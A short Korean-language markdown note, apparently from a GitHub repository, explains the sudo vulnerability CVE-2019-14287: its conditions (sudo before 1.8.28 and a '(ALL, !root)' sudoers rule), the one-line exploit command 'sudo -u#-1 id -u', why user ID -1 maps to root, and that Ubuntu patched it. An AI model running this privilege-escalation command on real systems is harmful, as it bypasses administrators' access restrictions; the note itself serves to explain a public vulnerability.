Skip to content

Latest commit

 

History

History
29 lines (18 loc) · 861 Bytes

sudo-vulnerability.md

File metadata and controls

29 lines (18 loc) · 861 Bytes

SUDO 취약점 CVE-2019-14287

루트 권한이 없어도 루트 권한으로 임의 명령을 실행할 수 있는 취약점이다.

조건

1. sudo 버전 1.8.28 이전

2. /etc/sudoers 설정파일이 아래와 같이 설정되어있음

<사용자명> ALL = (ALL, !root) <명령어>

실행

sudo -u#-1 id -u

user ID를 -1 또는 4294967295로 설정하면 user ID를 username으로 변환하는 함수가 이 숫자를 루트 사용자의 user ID인 0으로 취급해서 발생하는 문제다.

우분투의 경우 백포트를 통해 취약점이 막힌 것 같다.

출처